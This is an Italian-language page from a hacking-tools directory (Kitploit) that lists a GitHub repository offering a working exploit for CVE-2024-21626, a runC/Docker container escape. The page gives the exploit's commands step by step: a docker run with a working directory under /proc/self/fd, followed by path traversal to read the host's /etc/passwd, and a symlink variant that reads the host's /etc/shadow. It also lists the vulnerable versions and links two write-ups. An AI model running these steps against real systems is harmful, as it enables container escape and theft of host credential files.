Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-21626 — Exploit funzionante per CVE-2024-21626, una fuga dal container runC/Docker tramite attacco di symlink sulla directory di lavoro, che consente l'accesso al filesystem host. | Kitploit
Strumenti/GitHubGitHub/flojboj/cve-2024-21626
Escalation di PrivilegiSicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSicurezza CloudEscape dal Container
GitHubflojboj/cve-2024-21626

CVE-2024-21626

Exploit funzionante per CVE-2024-21626, una fuga dal container runC/Docker tramite attacco di symlink sulla directory di lavoro, che consente l'accesso al filesystem host.

Vedi Repository
1142 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-21626

Exploit (Directory di lavoro)

docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

  • È importante mettere -w /proc/self/fd/8\
  • Accedi al filesystem host usando cat ../../../../../../../../../etc/passwd all'interno del container

Exploit (Symlink)

  1. docker run --name cve-2024-21626 --rm --it debian:bootworm
  2. Nel container - ln -sf /proc/self/fd/7/ /foo
  3. Nel container - ln -sf /proc/self/fd/8/ /bar
  4. docker exec -it -w /bar cve-2024-21626 sleep 120
  5. Nel container - ls -F /proc
  6. Nel container - cat /proc/9/cmdline (trova il PID del comando sleep)
  7. Nel container - cat /proc/9/cwd/../../../../../etc/shadow

Versioni vulnerabili

  • runC: >= 1.0.0-rc93 e <= 1.1.11.
  • containerd: >= 1.4.7 e <= 1.6.27, e >= 1.7.0 e <= 1.7.12.
  • Docker: corretto in 25.0.2

Fonte

https://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd https://labs.withsecure.com/publications/runc-working-directory-breakout--cve-2024-21626

Scarica lo strumento